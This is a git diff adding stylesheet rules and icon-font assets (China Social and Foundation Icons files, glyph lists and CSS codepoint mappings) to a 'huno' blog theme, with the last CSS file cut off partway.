68, 68, 0.6) 20%, rgba(0, 0, 0, 0.9)); + background-image: linear-gradient(140deg,rgba(68, 68, 68, 0.6) 20%, rgba(0, 0, 0, 0.9)); } + +.panel-cover__logo { + margin-bottom: .2em; } + +.panel-cover__description { + margin: 0 30px; } + +.panel-cover__divider { + width: 50%; + margin: 20px auto; + border-top: 1px solid rgba(255, 255, 255, 0.14); } + +.panel-cover__divider--secondary { + width: 15%; } + +.panel-main { + display: table; + width: 100%; + height: 100%; } + + +.panel-main__inner { + display: table-cell; + vertical-align: middle; + position: relative; + z-index: 800; + padding: 0 60px; } + +.panel-main__content { + max-width: 620px; + margin: 0 auto; } + +.panel-main__content--fixed { + width: 480px; + transition: width 1s; + -webkit-transition: width 1s; + /* Safari */ } + +.panel-inverted { + font-weight: 100; + text-align: center; + color: #FFF; + text-shadow: 0 1px 1px rgba(0, 0, 0, 0.4); } + .panel-inverted a { + color: #FFF; } + +.cover-navigation { + margin-top: 10px; } + +.cover-navigation--social { + margin-left: 30px; } + +.cover-green { + background-color: rgba(21, 111, 120, 0.6); + background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, rgba(21, 111, 120, 0.6)), color-stop(100%, rgba(6, 31, 33, 0.8))); + background-image: -webkit-linear-gradient(-410deg, rgba(21, 111, 120, 0.6) 20%, rgba(6, 31, 33, 0.8)); + background-image: linear-gradient(140deg,rgba(21, 111, 120, 0.6) 20%, rgba(6, 31, 33, 0.8)); } + +.cover-purple { + background-color: rgba(73, 50, 82, 0.6); + background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, rgba(73, 50, 82, 0.6)), color-stop(100%, rgba(17, 11, 19, 0.8))); + background-image: -webkit-linear-gradient(-410deg, rgba(73, 50, 82, 0.6) 20%, rgba(17, 11, 19, 0.8)); + background-image: linear-gradient(140deg,rgba(73, 50, 82, 0.6) 20%, rgba(17, 11, 19, 0.8)); } + +.cover-red { + background-color: rgba(119, 31, 18, 0.6); + background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, rgba(119, 31, 18, 0.6)), color-stop(100%, rgba(30, 8, 5, 0.8))); + background-image: -webkit-linear-gradient(-410deg, rgba(119, 31, 18, 0.6) 20%, rgba(30, 8, 5, 0.8)); + background-image: linear-gradient(140deg,rgba(119, 31, 18, 0.6) 20%, rgba(30, 8, 5, 0.8)); } + +.cover-slate { + background-color: rgba(61, 66, 96, 0.6); + background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, rgba(61, 66, 96, 0.6)), color-stop(100%, rgba(21, 23, 34, 0.8))); + background-image: -webkit-linear-gradient(-410deg, rgba(61, 66, 96, 0.6) 20%, rgba(21, 23, 34, 0.8)); + background-image: linear-gradient(140deg,rgba(61, 66, 96, 0.6) 20%, rgba(21, 23, 34, 0.8)); } + +.cover-disabled { + background: none; } + +.btn, .navigation__item a { + padding: 10px 20px; + border: 1px solid #006699; + border-radius: 20px; + font-size: .9em; + font-weight: bold; + letter-spacing: 1px; + text-shadow: none; + color: #006699; + -webkit-font-smoothing: antialiased; } + .btn:hover, .navigation__item a:hover { + color: #006699; + border-color: #006699; } + +.btn-secondary { + border-color: #5ba4e5; + color: #5ba4e5; } + .btn-secondary:hover { + color: #217fd2; + border-color: #217fd2; } + +.btn-tertiary { + border-color: #999999; + color: #999999; } + .btn-tertiary:hover { + color: #737373; + border-color: #737373; } + +.btn-large { + padding: 10px 24px; + font-size: 1.1em; } + +.btn-small { + padding: 8px 12px; + font-size: .7em; } + +.btn-mobile-menu { + display: none; + position: fixed; + z-index: 9999; + top: 0; + right: 0; + left: 0; + width: 100%; + height: 42px; + background: rgba(13, 71, 77, 0.98); + border-bottom: 1px solid rgba(255, 255, 255, 0.1); + text-align: center; } + +.btn-mobile-menu__icon, +.btn-mobile-close__icon { + position: relative; + top: 3px; + font-size: 36px; + color: #FFF; } + +nav { + display: inline-block; + position: relative; } + +.navigation { + display: inline-block; + float: left; + position: relative; + margin: 0; + list-style-type: none; } + +.navigation__item { + display: inline-block; + margin: 3px 3px; + line-height: 1em; } + .navigation__item a { + display: block; + position: relative; + border-color: #FFF; + color: #FFF; + opacity: .8; } + .navigation__item a:hover { + color: #FFF; + border-color: #FFF; + opacity: 1; } + +.navigation--social { + margin-left: 0em; } + .navigation--social a { + padding: 6px 8px 6px 9px; } + .navigation--social a .label { + display: none; } + .navigation--social a .icon { + display: block; + font-size: 1.7em; } + +.pagination { + display: block; + margin: 0 0 4em 0; } + +.pagination__page-number { + margin: 0; + font-size: .8em; + color: #999999; } + +.pagination__newer { + margin-right: 1em; } + +.pagination__older { + margin-left: 1em; } + +i { + font-family: 'entypo'; + font-weight: normal; + font-style: normal; + font-size: 18px; } + +.icon-social { + font-family: 'entypo-social'; + font-size: 22px; + display: block; + position: relative; } + +.post-list { + margin: 0; + padding: 0; + list-style-type: none; + text-align: left; } + .post-list li { + margin: 0 0 2.2em 0; } + .post-list li:last-child hr { + display: none; } + +.post-list__post-title { + margin-top: 0; + margin-bottom: .2em; + font-size: 1.8em; + -webkit-font-smoothing: antialiased; + font-weight: bold; + line-height: 1.3em; } + .post-list__post-title a { + color: #333333; } + .post-list__post-title a:hover { + color: #006699; } + +.post-list__meta { + display: block; + margin: .7em 0 0 0; + font-size: .9em; + color: #c7c7c7; } + +.post-list__meta--date { + margin-right: .5em; + color: #c7c7c7; } + +.post-list__meta--tags { + margin-left: .5em; } + +.post-list__divider { + width: 30%; + margin: 2.2em 0 2.1em 0; + border-top: 1px solid #dddddd; } + +*:focus { + outline: none; } + +input[type="text"], +input[type="password"], +input[type="datetime"], +input[type="datetime-local"], +input[type="date"], +input[type="month"], +input[type="time"], +input[type="week"], +input[type="number"], +input[type="email"], +input[type="url"], +input[type="search"], +input[type="tel"] { + width: 240px; + padding: 1em 1em; + background: #FFF; + border: 1px solid #dddddd; + border-radius: 3px; + font-size: .9em; + color: #666666; } + input[type="text"]:focus, + input[type="password"]:focus, + input[type="datetime"]:focus, + input[type="datetime-local"]:focus, + input[type="date"]:focus, + input[type="month"]:focus, + input[type="time"]:focus, + input[type="week"]:focus, + input[type="number"]:focus, + input[type="email"]:focus, + input[type="url"]:focus, + input[type="search"]:focus, + input[type="tel"]:focus { + border-color: #5ba4e5; } + input[type="text"]::-webkit-input-placeholder, + input[type="password"]::-webkit-input-placeholder, + input[type="datetime"]::-webkit-input-placeholder, + input[type="datetime-local"]::-webkit-input-placeholder, + input[type="date"]::-webkit-input-placeholder, + input[type="month"]::-webkit-input-placeholder, + input[type="time"]::-webkit-input-placeholder, + input[type="week"]::-webkit-input-placeholder, + input[type="number"]::-webkit-input-placeholder, + input[type="email"]::-webkit-input-placeholder, + input[type="url"]::-webkit-input-placeholder, + input[type="search"]::-webkit-input-placeholder, + input[type="tel"]::-webkit-input-placeholder { + color: #cccccc; } + input[type="text"]:-moz-placeholder, + input[type="password"]:-moz-placeholder, + input[type="datetime"]:-moz-placeholder, + input[type="datetime-local"]:-moz-placeholder, + input[type="date"]:-moz-placeholder, + input[type="month"]:-moz-placeholder, + input[type="time"]:-moz-placeholder, + input[type="week"]:-moz-placeholder, + input[type="number"]:-moz-placeholder, + input[type="email"]:-moz-placeholder, + input[type="url"]:-moz-placeholder, + input[type="search"]:-moz-placeholder, + input[type="tel"]:-moz-placeholder { + color: #cccccc; } + input[type="text"]::-moz-placeholder, + input[type="password"]::-moz-placeholder, + input[type="datetime"]::-moz-placeholder, + input[type="datetime-local"]::-moz-placeholder, + input[type="date"]::-moz-placeholder, + input[type="month"]::-moz-placeholder, + input[type="time"]::-moz-placeholder, + input[type="week"]::-moz-placeholder, + input[type="number"]::-moz-placeholder, + input[type="email"]::-moz-placeholder, + input[type="url"]::-moz-placeholder, + input[type="search"]::-moz-placeholder, + input[type="tel"]::-moz-placeholder { + color: #cccccc; } + input[type="text"]:-ms-input-placeholder, + input[type="password"]:-ms-input-placeholder, + input[type="datetime"]:-ms-input-placeholder, + input[type="datetime-local"]:-ms-input-placeholder, + input[type="date"]:-ms-input-placeholder, + input[type="month"]:-ms-input-placeholder, + input[type="time"]:-ms-input-placeholder, + input[type="week"]:-ms-input-placeholder, + input[type="number"]:-ms-input-placeholder, + input[type="email"]:-ms-input-placeholder, + input[type="url"]:-ms-input-placeholder, + input[type="search"]:-ms-input-placeholder, + input[type="tel"]:-ms-input-placeholder { + color: #cccccc; } + +@media all and (min-width: 1300px) { + .content-wrapper { + margin-left: 430px; } } +@media all and (max-width: 1100px) { + .panel-cover__logo { + width: 70px; } + + .panel-title { + font-size: 2em; } + + .panel-subtitle { + font-size: 1em; } + + .panel-cover__description { + margin: 0 10px; + font-size: .9em; } + + .navigation--social { + margin-top: 5px; + margin-left: 0; } } +@media all and (max-width: 960px) { + .btn-mobile-menu { + display: block; } + + .panel-main { + display: table; + position: relative; } + + .panel-cover--collapsed { + width: 100%; + max-width: none; } + + .panel-main__inner { + display: table-cell; + padding: 60px 10%; } + + .panel-cover__description { + display: block; + max-width: 600px; + margin: 0 auto; } + + .panel-cover__divider--secondary { + display: none; } + + .panel-cover { + width: 100%; + height: 100%; + background-position: center center; } + .panel-cover.panel-cover--collapsed { + display: block; + position: relative; + height: auto; + padding: 0; + background-position: center center; } + .panel-cover.panel-cover--collapsed .panel-main__inner { + display: block; + padding: 70px 0 30px 0; } + .panel-cover.panel-cover--collapsed .panel-cover__logo { + width: 60px; + border-width: 2px; } + .panel-cover.panel-cover--collapsed .panel-cover__description { + display: none; } + .panel-cover.panel-cover--collapsed .panel-cover__divider { + display: none; + margin: 1em auto; } + + .navigation-wrapper { + display: none; + position: fixed; + top: 42px; + right: 0; + left: 0; + width: 100%; + padding: 20px 0; + background: rgba(51, 51, 51, 0.8); + border-bottom: 1px solid rgba(255, 255, 255, 0.15); } + .navigation-wrapper.visible { + display: block; } + + .cover-navigation { + display: block; + position: relative; + float: left; + clear: left; + width: 100%; } + .cover-navigation .navigation { + display: block; + width: 100%; } + .cover-navigation .navigation li { + width: 80%; + margin-bottom: .4em; } + .cover-navigation.navigation--social { + padding-top: 5px; } + .cover-navigation.navigation--social .navigation li { + display: inline-block; + width: 25.8%; } + + .content-wrapper { + width: 80%; + max-width: none; + margin: 0 auto; } + + .content-wrapper__inner { + margin-right: 0; + margin-left: 0; } + + .navigation__item { + width: 100%; + margin: 0 0 .4em 0; } } +@media all and (max-width: 340px) { + .panel-main__inner { + padding: 0 5%; } + + .panel-title { + margin-bottom: .1em; + font-size: 1.5em; } + + .panel-subtitle { + font-size: .9em; } + + .btn, .navigation__item a { + display: block; + margin-bottom: .4em; } } + +/* add */ + +table { + border-collapse: collapse; + width: 100%; + margin: 0 0 10px; + border-spacing: 0; + border: 1px solid #aaa; +} + +table caption { + font-weight: bold; + text-align: center; +} + +th { + font-weight: bold; +} +th, td { + border: 1px solid #aaa; + padding: 5px 10px; + text-align: left; +} + +.highlight table { + border: none; +} +pre { + font-family: +} \ No newline at end of file diff --git a/themes/huno/source/fonts/china-social/china-social.eot b/themes/huno/source/fonts/china-social/china-social.eot new file mode 100644 index 0000000..336d258 Binary files /dev/null and b/themes/huno/source/fonts/china-social/china-social.eot differ diff --git a/themes/huno/source/fonts/china-social/china-social.svg b/themes/huno/source/fonts/china-social/china-social.svg new file mode 100644 index 0000000..0d4c28f --- /dev/null +++ b/themes/huno/source/fonts/china-social/china-social.svg @@ -0,0 +1,46 @@ + + + +Generated by Fontastic.me + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/themes/huno/source/fonts/china-social/china-social.ttf b/themes/huno/source/fonts/china-social/china-social.ttf new file mode 100644 index 0000000..2a23b94 Binary files /dev/null and b/themes/huno/source/fonts/china-social/china-social.ttf differ diff --git a/themes/huno/source/fonts/china-social/china-social.woff b/themes/huno/source/fonts/china-social/china-social.woff new file mode 100644 index 0000000..33d7325 Binary files /dev/null and b/themes/huno/source/fonts/china-social/china-social.woff differ diff --git a/themes/huno/source/fonts/china-social/readme.html b/themes/huno/source/fonts/china-social/readme.html new file mode 100644 index 0000000..7df596c --- /dev/null +++ b/themes/huno/source/fonts/china-social/readme.html @@ -0,0 +1,358 @@ + + + + + + + Font Reference - China Social + + + + + +
    +

    China Social

    +

    This font was created withFontastic

    +

    该字体版权归原作者所有。

    +

    CSS mapping

    +
      +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    +

    Character mapping

    +
      +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    • +
      + +
    • +
    +
    + + \ No newline at end of file diff --git a/themes/huno/source/fonts/foundation-icons/.fontcustom-data b/themes/huno/source/fonts/foundation-icons/.fontcustom-data new file mode 100644 index 0000000..8753d7b --- /dev/null +++ b/themes/huno/source/fonts/foundation-icons/.fontcustom-data @@ -0,0 +1,298 @@ +{ + "fonts": [ + "fontcustom_10588e4d0af9f9cd5471c9540658204b.ttf", + "fontcustom_10588e4d0af9f9cd5471c9540658204b.woff", + "fontcustom_10588e4d0af9f9cd5471c9540658204b.eot", + "fontcustom_10588e4d0af9f9cd5471c9540658204b.svg" + ], + "templates": [ + "fontcustom.css", + "fontcustom-preview.html" + ], + "file_name": "fontcustom_10588e4d0af9f9cd5471c9540658204b", + "glyphs": [ + "fi-address-book", + "fi-alert", + "fi-align-center", + "fi-align-justify", + "fi-align-left", + "fi-align-right", + "fi-anchor", + "fi-annotate", + "fi-archive", + "fi-arrow-down", + "fi-arrow-left", + "fi-arrow-right", + "fi-arrow-up", + "fi-arrows-compress", + "fi-arrows-expand", + "fi-arrows-in", + "fi-arrows-out", + "fi-asl", + "fi-asterisk", + "fi-at-sign", + "fi-background-color", + "fi-battery-empty", + "fi-battery-full", + "fi-battery-half", + "fi-bitcoin-circle", + "fi-bitcoin", + "fi-blind", + "fi-bluetooth", + "fi-bold", + "fi-book-bookmark", + "fi-book", + "fi-bookmark", + "fi-braille", + "fi-burst-new", + "fi-burst-sale", + "fi-burst", + "fi-calendar", + "fi-camera", + "fi-check", + "fi-checkbox", + "fi-clipboard-notes", + "fi-clipboard-pencil", + "fi-clipboard", + "fi-clock", + "fi-closed-caption", + "fi-cloud", + "fi-comment-minus", + "fi-comment-quotes", + "fi-comment-video", + "fi-comment", + "fi-comments", + "fi-compass", + "fi-contrast", + "fi-credit-card", + "fi-crop", + "fi-crown", + "fi-css3", + "fi-database", + "fi-die-five", + "fi-die-four", + "fi-die-one", + "fi-die-six", + "fi-die-three", + "fi-die-two", + "fi-dislike", + "fi-dollar-bill", + "fi-dollar", + "fi-download", + "fi-eject", + "fi-elevator", + "fi-euro", + "fi-eye", + "fi-fast-forward", + "fi-female-symbol", + "fi-female", + "fi-filter", + "fi-first-aid", + "fi-flag", + "fi-folder-add", + "fi-folder-lock", + "fi-folder", + "fi-foot", + "fi-foundation", + "fi-graph-bar", + "fi-graph-horizontal", + "fi-graph-pie", + "fi-graph-trend", + "fi-guide-dog", + "fi-hearing-aid", + "fi-heart", + "fi-home", + "fi-html5", + "fi-indent-less", + "fi-indent-more", + "fi-info", + "fi-italic", + "fi-key", + "fi-laptop", + "fi-layout", + "fi-lightbulb", + "fi-like", + "fi-link", + "fi-list-bullet", + "fi-list-number", + "fi-list-thumbnails", + "fi-list", + "fi-lock", + "fi-loop", + "fi-magnifying-glass", + "fi-mail", + "fi-male-female", + "fi-male-symbol", + "fi-male", + "fi-map", + "fi-marker", + "fi-megaphone", + "fi-microphone", + "fi-minus-circle", + "fi-minus", + "fi-mobile-signal", + "fi-mobile", + "fi-monitor", + "fi-mountains", + "fi-music", + "fi-next", + "fi-no-dogs", + "fi-no-smoking", + "fi-page-add", + "fi-page-copy", + "fi-page-csv", + "fi-page-delete", + "fi-page-doc", + "fi-page-edit", + "fi-page-export-csv", + "fi-page-export-doc", + "fi-page-export-pdf", + "fi-page-export", + "fi-page-filled", + "fi-page-multiple", + "fi-page-pdf", + "fi-page-remove", + "fi-page-search", + "fi-page", + "fi-paint-bucket", + "fi-paperclip", + "fi-pause", + "fi-paw", + "fi-paypal", + "fi-pencil", + "fi-photo", + "fi-play-circle", + "fi-play-video", + "fi-play", + "fi-plus", + "fi-pound", + "fi-power", + "fi-previous", + "fi-price-tag", + "fi-pricetag-multiple", + "fi-print", + "fi-prohibited", + "fi-projection-screen", + "fi-puzzle", + "fi-quote", + "fi-record", + "fi-refresh", + "fi-results-demographics", + "fi-results", + "fi-rewind-ten", + "fi-rewind", + "fi-rss", + "fi-safety-cone", + "fi-save", + "fi-share", + "fi-sheriff-badge", + "fi-shield", + "fi-shopping-bag", + "fi-shopping-cart", + "fi-shuffle", + "fi-skull", + "fi-social-500px", + "fi-social-adobe", + "fi-social-amazon", + "fi-social-android", + "fi-social-apple", + "fi-social-behance", + "fi-social-bing", + "fi-social-blogger", + "fi-social-delicious", + "fi-social-designer-news", + "fi-social-deviant-art", + "fi-social-digg", + "fi-social-dribbble", + "fi-social-drive", + "fi-social-dropbox", + "fi-social-evernote", + "fi-social-facebook", + "fi-social-flickr", + "fi-social-forrst", + "fi-social-foursquare", + "fi-social-game-center", + "fi-social-github", + "fi-social-google-plus", + "fi-social-hacker-news", + "fi-social-hi5", + "fi-social-instagram", + "fi-social-joomla", + "fi-social-lastfm", + "fi-social-linkedin", + "fi-social-medium", + "fi-social-myspace", + "fi-social-orkut", + "fi-social-path", + "fi-social-picasa", + "fi-social-pinterest", + "fi-social-rdio", + "fi-social-reddit", + "fi-social-skillshare", + "fi-social-skype", + "fi-social-smashing-mag", + "fi-social-snapchat", + "fi-social-spotify", + "fi-social-squidoo", + "fi-social-stack-overflow", + "fi-social-steam", + "fi-social-stumbleupon", + "fi-social-treehouse", + "fi-social-tumblr", + "fi-social-twitter", + "fi-social-vimeo", + "fi-social-windows", + "fi-social-xbox-20", + "fi-social-yahoo", + "fi-social-yelp", + "fi-social-youtube", + "fi-social-zerply", + "fi-social-zurb", + "fi-sound", + "fi-star", + "fi-stop", + "fi-strikethrough", + "fi-subscript", + "fi-superscript", + "fi-tablet-landscape", + "fi-tablet-portrait", + "fi-target-two", + "fi-target", + "fi-telephone-accessible", + "fi-telephone", + "fi-text-color", + "fi-thumbnails", + "fi-ticket", + "fi-torso-business", + "fi-torso-female", + "fi-torso", + "fi-torsos-all-female", + "fi-torsos-all", + "fi-torsos-female-male", + "fi-torsos-male-female", + "fi-torsos", + "fi-trash", + "fi-trees", + "fi-trophy", + "fi-underline", + "fi-universal-access", + "fi-unlink", + "fi-unlock", + "fi-upload-cloud", + "fi-upload", + "fi-usb", + "fi-video", + "fi-volume-none", + "fi-volume-strike", + "fi-volume", + "fi-web", + "fi-wheelchair", + "fi-widget", + "fi-wrench", + "fi-x-circle", + "fi-x", + "fi-yen", + "fi-zoom-in", + "fi-zoom-out" + ] +} \ No newline at end of file diff --git a/themes/huno/source/fonts/foundation-icons/foundation-icons.css b/themes/huno/source/fonts/foundation-icons/foundation-icons.css new file mode 100644 index 0000000..d866a73 --- /dev/null +++ b/themes/huno/source/fonts/foundation-icons/foundation-icons.css @@ -0,0 +1,594 @@ +/* + * Foundation Icons v 3.0 + * Made by ZURB 2013 http://zurb.com/playground/foundation-icon-fonts-3 + * MIT License + */ + +@font-face { + font-family: "foundation-icons"; + src: url("foundation-icons.eot"); + src: url("foundation-icons.eot?#iefix") format("embedded-opentype"), + url("foundation-icons.woff") format("woff"), + url("foundation-icons.ttf") format("truetype"), + url("foundation-icons.svg#fontcustom") format("svg"); + font-weight: normal; + font-style: normal; +} + +.fi-address-book:before, +.fi-alert:before, +.fi-align-center:before, +.fi-align-justify:before, +.fi-align-left:before, +.fi-align-right:before, +.fi-anchor:before, +.fi-annotate:before, +.fi-archive:before, +.fi-arrow-down:before, +.fi-arrow-left:before, +.fi-arrow-right:before, +.fi-arrow-up:before, +.fi-arrows-compress:before, +.fi-arrows-expand:before, +.fi-arrows-in:before, +.fi-arrows-out:before, +.fi-asl:before, +.fi-asterisk:before, +.fi-at-sign:before, +.fi-background-color:before, +.fi-battery-empty:before, +.fi-battery-full:before, +.fi-battery-half:before, +.fi-bitcoin-circle:before, +.fi-bitcoin:before, +.fi-blind:before, +.fi-bluetooth:before, +.fi-bold:before, +.fi-book-bookmark:before, +.fi-book:before, +.fi-bookmark:before, +.fi-braille:before, +.fi-burst-new:before, +.fi-burst-sale:before, +.fi-burst:before, +.fi-calendar:before, +.fi-camera:before, +.fi-check:before, +.fi-checkbox:before, +.fi-clipboard-notes:before, +.fi-clipboard-pencil:before, +.fi-clipboard:before, +.fi-clock:before, +.fi-closed-caption:before, +.fi-cloud:before, +.fi-comment-minus:before, +.fi-comment-quotes:before, +.fi-comment-video:before, +.fi-comment:before, +.fi-comments:before, +.fi-compass:before, +.fi-contrast:before, +.fi-credit-card:before, +.fi-crop:before, +.fi-crown:before, +.fi-css3:before, +.fi-database:before, +.fi-die-five:before, +.fi-die-four:before, +.fi-die-one:before, +.fi-die-six:before, +.fi-die-three:before, +.fi-die-two:before, +.fi-dislike:before, +.fi-dollar-bill:before, +.fi-dollar:before, +.fi-download:before, +.fi-eject:before, +.fi-elevator:before, +.fi-euro:before, +.fi-eye:before, +.fi-fast-forward:before, +.fi-female-symbol:before, +.fi-female:before, +.fi-filter:before, +.fi-first-aid:before, +.fi-flag:before, +.fi-folder-add:before, +.fi-folder-lock:before, +.fi-folder:before, +.fi-foot:before, +.fi-foundation:before, +.fi-graph-bar:before, +.fi-graph-horizontal:before, +.fi-graph-pie:before, +.fi-graph-trend:before, +.fi-guide-dog:before, +.fi-hearing-aid:before, +.fi-heart:before, +.fi-home:before, +.fi-html5:before, +.fi-indent-less:before, +.fi-indent-more:before, +.fi-info:before, +.fi-italic:before, +.fi-key:before, +.fi-laptop:before, +.fi-layout:before, +.fi-lightbulb:before, +.fi-like:before, +.fi-link:before, +.fi-list-bullet:before, +.fi-list-number:before, +.fi-list-thumbnails:before, +.fi-list:before, +.fi-lock:before, +.fi-loop:before, +.fi-magnifying-glass:before, +.fi-mail:before, +.fi-male-female:before, +.fi-male-symbol:before, +.fi-male:before, +.fi-map:before, +.fi-marker:before, +.fi-megaphone:before, +.fi-microphone:before, +.fi-minus-circle:before, +.fi-minus:before, +.fi-mobile-signal:before, +.fi-mobile:before, +.fi-monitor:before, +.fi-mountains:before, +.fi-music:before, +.fi-next:before, +.fi-no-dogs:before, +.fi-no-smoking:before, +.fi-page-add:before, +.fi-page-copy:before, +.fi-page-csv:before, +.fi-page-delete:before, +.fi-page-doc:before, +.fi-page-edit:before, +.fi-page-export-csv:before, +.fi-page-export-doc:before, +.fi-page-export-pdf:before, +.fi-page-export:before, +.fi-page-filled:before, +.fi-page-multiple:before, +.fi-page-pdf:before, +.fi-page-remove:before, +.fi-page-search:before, +.fi-page:before, +.fi-paint-bucket:before, +.fi-paperclip:before, +.fi-pause:before, +.fi-paw:before, +.fi-paypal:before, +.fi-pencil:before, +.fi-photo:before, +.fi-play-circle:before, +.fi-play-video:before, +.fi-play:before, +.fi-plus:before, +.fi-pound:before, +.fi-power:before, +.fi-previous:before, +.fi-price-tag:before, +.fi-pricetag-multiple:before, +.fi-print:before, +.fi-prohibited:before, +.fi-projection-screen:before, +.fi-puzzle:before, +.fi-quote:before, +.fi-record:before, +.fi-refresh:before, +.fi-results-demographics:before, +.fi-results:before, +.fi-rewind-ten:before, +.fi-rewind:before, +.fi-rss:before, +.fi-safety-cone:before, +.fi-save:before, +.fi-share:before, +.fi-sheriff-badge:before, +.fi-shield:before, +.fi-shopping-bag:before, +.fi-shopping-cart:before, +.fi-shuffle:before, +.fi-skull:before, +.fi-social-500px:before, +.fi-social-adobe:before, +.fi-social-amazon:before, +.fi-social-android:before, +.fi-social-apple:before, +.fi-social-behance:before, +.fi-social-bing:before, +.fi-social-blogger:before, +.fi-social-delicious:before, +.fi-social-designer-news:before, +.fi-social-deviant-art:before, +.fi-social-digg:before, +.fi-social-dribbble:before, +.fi-social-drive:before, +.fi-social-dropbox:before, +.fi-social-evernote:before, +.fi-social-facebook:before, +.fi-social-flickr:before, +.fi-social-forrst:before, +.fi-social-foursquare:before, +.fi-social-game-center:before, +.fi-social-github:before, +.fi-social-google-plus:before, +.fi-social-hacker-news:before, +.fi-social-hi5:before, +.fi-social-instagram:before, +.fi-social-joomla:before, +.fi-social-lastfm:before, +.fi-social-linkedin:before, +.fi-social-medium:before, +.fi-social-myspace:before, +.fi-social-orkut:before, +.fi-social-path:before, +.fi-social-picasa:before, +.fi-social-pinterest:before, +.fi-social-rdio:before, +.fi-social-reddit:before, +.fi-social-skillshare:before, +.fi-social-skype:before, +.fi-social-smashing-mag:before, +.fi-social-snapchat:before, +.fi-social-spotify:before, +.fi-social-squidoo:before, +.fi-social-stack-overflow:before, +.fi-social-steam:before, +.fi-social-stumbleupon:before, +.fi-social-treehouse:before, +.fi-social-tumblr:before, +.fi-social-twitter:before, +.fi-social-vimeo:before, +.fi-social-windows:before, +.fi-social-xbox:before, +.fi-social-yahoo:before, +.fi-social-yelp:before, +.fi-social-youtube:before, +.fi-social-zerply:before, +.fi-social-zurb:before, +.fi-sound:before, +.fi-star:before, +.fi-stop:before, +.fi-strikethrough:before, +.fi-subscript:before, +.fi-superscript:before, +.fi-tablet-landscape:before, +.fi-tablet-portrait:before, +.fi-target-two:before, +.fi-target:before, +.fi-telephone-accessible:before, +.fi-telephone:before, +.fi-text-color:before, +.fi-thumbnails:before, +.fi-ticket:before, +.fi-torso-business:before, +.fi-torso-female:before, +.fi-torso:before, +.fi-torsos-all-female:before, +.fi-torsos-all:before, +.fi-torsos-female-male:before, +.fi-torsos-male-female:before, +.fi-torsos:before, +.fi-trash:before, +.fi-trees:before, +.fi-trophy:before, +.fi-underline:before, +.fi-universal-access:before, +.fi-unlink:before, +.fi-unlock:before, +.fi-upload-cloud:before, +.fi-upload:before, +.fi-usb:before, +.fi-video:before, +.fi-volume-none:before, +.fi-volume-strike:before, +.fi-volume:before, +.fi-web:before, +.fi-wheelchair:before, +.fi-widget:before, +.fi-wrench:before, +.fi-x-circle:before, +.fi-x:before, +.fi-yen:before, +.fi-zoom-in:before, +.fi-zoom-out:before { + font-family: "foundation-icons"; + font-style: normal; + font-weight: normal; + font-variant: normal; + text-transform: none; + line-height: 1; + -webkit-font-smoothing: antialiased; + display: inline-block; + text-decoration: inherit; +} + +.fi-address-book:before { content: "\f100"; } +.fi-alert:before { content: "\f101"; } +.fi-align-center:before { content: "\f102"; } +.fi-align-justify:before { content: "\f103"; } +.fi-align-left:before { content: "\f104"; } +.fi-align-right:before { content: "\f105"; } +.fi-anchor:before { content: "\f106"; } +.fi-annotate:before { content: "\f107"; } +.fi-archive:before { content: "\f108"; } +.fi-arrow-down:before { content: "\f109"; } +.fi-arrow-left:before { content: "\f10a"; } +.fi-arrow-right:before { content: "\f10b"; } +.fi-arrow-up:before { content: "\f10c"; } +.fi-arrows-compress:before { content: "\f10d"; } +.fi-arrows-expand:before { content: "\f10e"; } +.fi-arrows-in:before { content: "\f10f"; } +.fi-arrows-out:before { content: "\f110"; } +.fi-asl:before { content: "\f111"; } +.fi-asterisk:before { content: "\f112"; } +.fi-at-sign:before { content: "\f113"; } +.fi-background-color:before { content: "\f114"; } +.fi-battery-empty:before { content: "\f115"; } +.fi-battery-full:before { content: "\f116"; } +.fi-battery-half:before { content: "\f117"; } +.fi-bitcoin-circle:before { content: "\f118"; } +.fi-bitcoin:before { content: "\f119"; } +.fi-blind:before { content: "\f11a"; } +.fi-bluetooth:before { content: "\f11b"; } +.fi-bold:before { content: "\f11c"; } +.fi-book-bookmark:before { content: "\f11d"; } +.fi-book:before { content: "\f11e"; } +.fi-bookmark:before { content: "\f11f"; } +.fi-braille:before { content: "\f120"; } +.fi-burst-new:before { content: "\f121"; } +.fi-burst-sale:before { content: "\f122"; } +.fi-burst:before { content: "\f123"; } +.fi-calendar:before { content: "\f124"; } +.fi-camera:before { content: "\f125"; } +.fi-check:before { content: "\f126"; } +.fi-checkbox:before { content: "\f127"; } +.fi-clipboard-notes:before { content: "\f128"; } +.fi-clipboard-pencil:before { content: "\f129"; } +.fi-clipboard:before { content: "\f12a"; } +.fi-clock:before { content: "\f12b"; } +.fi-closed-caption:before { content: "\f12c"; } 